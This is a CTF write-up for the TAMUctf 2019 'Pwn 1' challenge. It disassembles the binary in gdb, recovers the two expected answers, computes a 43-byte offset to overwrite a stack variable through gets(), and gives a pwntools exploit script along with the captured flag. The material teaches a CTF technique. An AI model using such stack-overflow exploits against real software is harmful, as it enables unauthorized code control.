TAMUctf 2019 Pwn Writeup 1 of 6
Shoutout to my teammates, hackstreetboys represent! — [hsb] ar33zy |
Pwn 1 Solution (Difficulty: Easy, 227 pts.)
This challenge tackles basic stack buffer overflow — writing a specific value on the exact address needed.
Let’s try to run the binary.
The first part of the program prompted a question, and asked for an input. I initially thought that this was a simple buffer overflow exploit, as what most easy problems in CTFs are.
first challenge + easy difficulty = BOF on the first input -> Control program flow
To check if I can override the return address, which will verify my initial hypothesis, I entered a very long string. Ideally, if this was a buffer overflow exploit problem, a segmentation fault error will be returned.
I got this response.
It looks like buffer overflow does not work on this input — no SEGFAULT/ERRORS. We need to dissect the binary in order to have a better understanding of the program. Let’s use our favorite debugger, gdb.
First, let’s check the properties of the binary to identify possible techniques we can use.
Canary is disabled, this means we can try to do a stack buffer overflow on this program. The next problem is how can we trigger the exploit. Let’s go back to gdb to find more clues.
Disassembling the main function gives us the following data:
Dump of assembler code for function main:
0x56555779 <+0>: lea ecx,[esp+0x4]
0x5655577d <+4>: and esp,0xfffffff0
0x56555780 <+7>: push DWORD PTR [ecx-0x4]
0x56555783 <+10>: push ebp
0x56555784 <+11>: mov ebp,esp
0x56555786 <+13>: push ebx
0x56555787 <+14>: push ecx
0x56555788 <+15>: sub esp,0x40
0x5655578b <+18>: call 0x56555600 <__x86.get_pc_thunk.bx>
0x56555790 <+23>: add ebx,0x1820
0x56555796 <+29>: mov eax,DWORD PTR [ebx+0x44]
0x5655579c <+35>: mov eax,DWORD PTR [eax]
0x5655579e <+37>: push 0x0
0x565557a0 <+39>: push 0x0
0x565557a2 <+41>: push 0x2
0x565557a4 <+43>: push eax
0x565557a5 <+44>: call 0x56555580 <setvbuf@plt>
0x565557aa <+49>: add esp,0x10
0x565557ad <+52>: mov DWORD PTR [ebp-0xc],0x2
0x565557b4 <+59>: mov DWORD PTR [ebp-0x10],0x0
0x565557bb <+66>: sub esp,0xc
0x565557be <+69>: lea eax,[ebx-0x1620]
0x565557c4 <+75>: push eax
0x565557c5 <+76>: call 0x56555550 <puts@plt>
0x565557ca <+81>: add esp,0x10
0x565557cd <+84>: sub esp,0xc
0x565557d0 <+87>: lea eax,[ebx-0x15b5]
0x565557d6 <+93>: push eax
0x565557d7 <+94>: call 0x56555550 <puts@plt>
0x565557dc <+99>: add esp,0x10
0x565557df <+102>: mov eax,DWORD PTR [ebx+0x40]
0x565557e5 <+108>: mov eax,DWORD PTR [eax]
0x565557e7 <+110>: sub esp,0x4
0x565557ea <+113>: push eax
0x565557eb <+114>: push 0x2b
0x565557ed <+116>: lea eax,[ebp-0x3b]
0x565557f0 <+119>: push eax
0x565557f1 <+120>: call 0x56555530 <fgets@plt>
0x565557f6 <+125>: add esp,0x10
0x565557f9 <+128>: sub esp,0x8
0x565557fc <+131>: lea eax,[ebx-0x159f]
0x56555802 <+137>: push eax
0x56555803 <+138>: lea eax,[ebp-0x3b]
0x56555806 <+141>: push eax
0x56555807 <+142>: call 0x56555510 <strcmp@plt> `(1)
0x5655580c <+147>: add esp,0x10
0x5655580f <+150>: test eax,eax
0x56555811 <+152>: je 0x5655582f <main+182>
0x56555813 <+154>: sub esp,0xc
0x56555816 <+157>: lea eax,[ebx-0x1584]
0x5655581c <+163>: push eax
0x5655581d <+164>: call 0x56555550 <puts@plt>
0x56555822 <+169>: add esp,0x10
0x56555825 <+172>: sub esp,0xc
0x56555828 <+175>: push 0x0
0x5655582a <+177>: call 0x56555560 <exit@plt>
0x5655582f <+182>: sub esp,0xc
0x56555832 <+185>: lea eax,[ebx-0x1564]
0x56555838 <+191>: push eax
0x56555839 <+192>: call 0x56555550 <puts@plt>
0x5655583e <+197>: add esp,0x10
0x56555841 <+200>: mov eax,DWORD PTR [ebx+0x40]
0x56555847 <+206>: mov eax,DWORD PTR [eax]
0x56555849 <+208>: sub esp,0x4
0x5655584c <+211>: push eax
0x5655584d <+212>: push 0x2b
0x5655584f <+214>: lea eax,[ebp-0x3b]
0x56555852 <+217>: push eax
0x56555853 <+218>: call 0x56555530 <fgets@plt>
0x56555858 <+223>: add esp,0x10
0x5655585b <+226>: sub esp,0x8
0x5655585e <+229>: lea eax,[ebx-0x154d]
0x56555864 <+235>: push eax
0x56555865 <+236>: lea eax,[ebp-0x3b]
0x56555868 <+239>: push eax
0x56555869 <+240>: call 0x56555510 <strcmp@plt> `(2)
0x5655586e <+245>: add esp,0x10
0x56555871 <+248>: test eax,eax
0x56555873 <+250>: je 0x56555891 <main+280>
0x56555875 <+252>: sub esp,0xc
0x56555878 <+255>: lea eax,[ebx-0x1584]
0x5655587e <+261>: push eax
0x5655587f <+262>: call 0x56555550 <puts@plt>
0x56555884 <+267>: add esp,0x10
0x56555887 <+270>: sub esp,0xc
0x5655588a <+273>: push 0x0
0x5655588c <+275>: call 0x56555560 <exit@plt>
0x56555891 <+280>: sub esp,0xc
0x56555894 <+283>: lea eax,[ebx-0x1534]
0x5655589a <+289>: push eax
0x5655589b <+290>: call 0x56555550 <puts@plt>
0x565558a0 <+295>: add esp,0x10
0x565558a3 <+298>: sub esp,0xc
0x565558a6 <+301>: lea eax,[ebp-0x3b]
0x565558a9 <+304>: push eax
0x565558aa <+305>: call 0x56555520 <gets@plt>
0x565558af <+310>: add esp,0x10
0x565558b2 <+313>: cmp DWORD PTR [ebp-0x10],0xdea110c8 `(3)
0x565558b9 <+320>: jne 0x565558c2 <main+329>
0x565558bb <+322>: call 0x565556fd <print_flag> `( Win! )
0x565558c0 <+327>: jmp 0x565558d4 <main+347>
0x565558c2 <+329>: sub esp,0xc
0x565558c5 <+332>: lea eax,[ebx-0x1584]
0x565558cb <+338>: push eax
0x565558cc <+339>: call 0x56555550 <puts@plt>
0x565558d1 <+344>: add esp,0x10
0x565558d4 <+347>: mov eax,0x0
0x565558d9 <+352>: lea esp,[ebp-0x8]
0x565558dc <+355>: pop ecx
0x565558dd <+356>: pop ebx
0x565558de <+357>: pop ebp
0x565558df <+358>: lea esp,[ecx-0x4]
0x565558e2 <+361>: ret
End of assembler dump.
We can have a basic grasp of what the program does by looking at the function calls of the main function. We can see the flow pattern —
<--- redacted --->
0x565557d7 <+94>: call 0x56555550 <puts@plt>
<--- redacted --->
0x565557ed <+116>: lea eax,[ebp-0x3b] `* (1)
0x565557f0 <+119>: push eax
0x565557f1 <+120>: call 0x56555530 <fgets@plt>
<--- redacted --->
0x565557fc <+131>: lea eax,[ebx-0x159f] `* (2)
0x56555802 <+137>: push eax
0x56555803 <+138>: lea eax,[ebp-0x3b]
0x56555806 <+141>: push eax
0x56555807 <+142>: call 0x56555510 <strcmp@plt>
<--- redacted --->
<--- after the third cmp check --->
0x565558bb <+322>: call 0x565556fd <print_flag> `* (3)
Notable Instructions:
(1) Address where fgets writes the input.
(2) Address of the string where the first input is being compared to.
(3) WIN Function - will trigger once the third cmp is satisfied
Sample flow pattern:
puts -> fgets -> strcmp OR -> exit (if cmp failed)
OR -> jmp to next part of the program (until print_flag function / win function)
With this pattern, we can say that this is what happens on the program.
(puts) - Question
(fgets) - User input
(strcmp) - Comparison of user input and stored string
(exit) - Terminates the program if string comparison fails
If all conditions are satisfied, the program executes print_flag function (which is our WIN function).
We can also see that there are more questions asked after the first one, since there are other PUTS-FGETS-STRCMP calls on the program. We can set a breakpoint on the following addresses to check the expected values on each string compare.
0x56555807 <+142>: call 0x56555510 <strcmp@plt>
0x56555869 <+240>: call 0x56555510 <strcmp@plt>
0x565558b2 <+313>: cmp DWORD PTR [ebp-0x10],0xdea110c8
Breakpoint for each string cmp
First breakpoint gives us the answer on the first question:
Answer: “Sir Lancelot of Camelot”
We can see that the arguments passed on strcmp
is _“First Input”_ (our input)
and _“Sir Lancelot of Camelot”_ (stored string)
.
Answering _“Sir Lancelot of Camelot”_
on the first question leads us to the next question:
We can continue the breakpoint on gdb to get the answer for the second question. The next breakpoint gives us this value:
Answer: “To seek the Holy Grail.”
We can see that the arguments passed on strcmp
is _“Second Input”_ (our input)
and _“To seek the Holy Grail.”_ (stored string)
.
Answering _“To seek the Holy Grail.”_
leads us to the final question.
We can do the same thing to get the answer for the final question, continue and go to the last breakpoint.
Uh oh, it seems that this is different from the last breakpoint.
It seems that this is a bit different from the previous string comparisons. The input, which is _“Final answer”_
, is not compared to anything. Instead, 0xdea110c8 is being compared to $ebp-0x10.
0x565558b2 <+313>: cmp DWORD PTR [ebp-0x10],0xdea110c8
The current value of $ebp-0x10 is:
We need to write 0xdea110c8 to $ebp-0x10
Somehow, we need to control the value of $ebp-0x10 to proceed to the print_flag
function (WIN FUNCTION).
Let’s review what happened on the last input.
Unimportant parts redacted:
0x565558a6 <+301>: lea eax,[ebp-0x3b]
0x565558a9 <+304>: push eax
0x565558aa <+305>: call 0x56555520 <gets@plt>
This shows the function call for the last user input.
QUICK RECAP:
The value of $eax before a function call serves as the first argument of the function.
The code snippet above shows that the user input is written to $ebp-0x3b
.
Since the input function used is gets
, and not fgets
, there is no limit on the input string.
Given the details above, we can write a long string to $ebp-0x3b
that will overflow to $ebp-0x10
. Take note that $ebp-0x10
should have the exact value of 0xdea110c8
.
Let’s compute the distance of $ebp-0x3b
and $ebp-0x10
:
`0x3b - 0x10 = 43 bytes (offset)`
The payload structure for the last input is:
`payload = <43 bytes buffer>` + `0xdea110c8`
This payload will overwrite the value of $ebp-0x10
with 0xdea110c8
. The last condition will be satisfied and the program will proceed to call the print_flag
function.
0x565558b2 <+313>: cmp DWORD PTR [ebp-0x10],0xdea110c8
0x565558b9 <+320>: jne 0x565558c2 <main+329> (will not jump)
0x565558bb <+322>: call 0x565556fd <print_flag> <-- WIN
Sample exploit code:
./exploit.py
from pwn import *
r = remote('pwn.tamuctf.com', 4321)
r.sendlineafter("?","Sir Lancelot of Camelot")
r.sendlineafter("?","To seek the Holy Grail.")
offset = 43
payload = ""
payload += "A"*offset
payload += p32(0xdea110c8)
r.sendlineafter("?",payload)
r.recvline()
r.recvline()
log.info("Flag: {}".format(r.recvline()))
Flag: gigem{34sy_CC428ECD75A0D392}
-
Thank you for reading. Hope you learned something from this write-up. Feel free to drop any comments on this one.
— ar33zy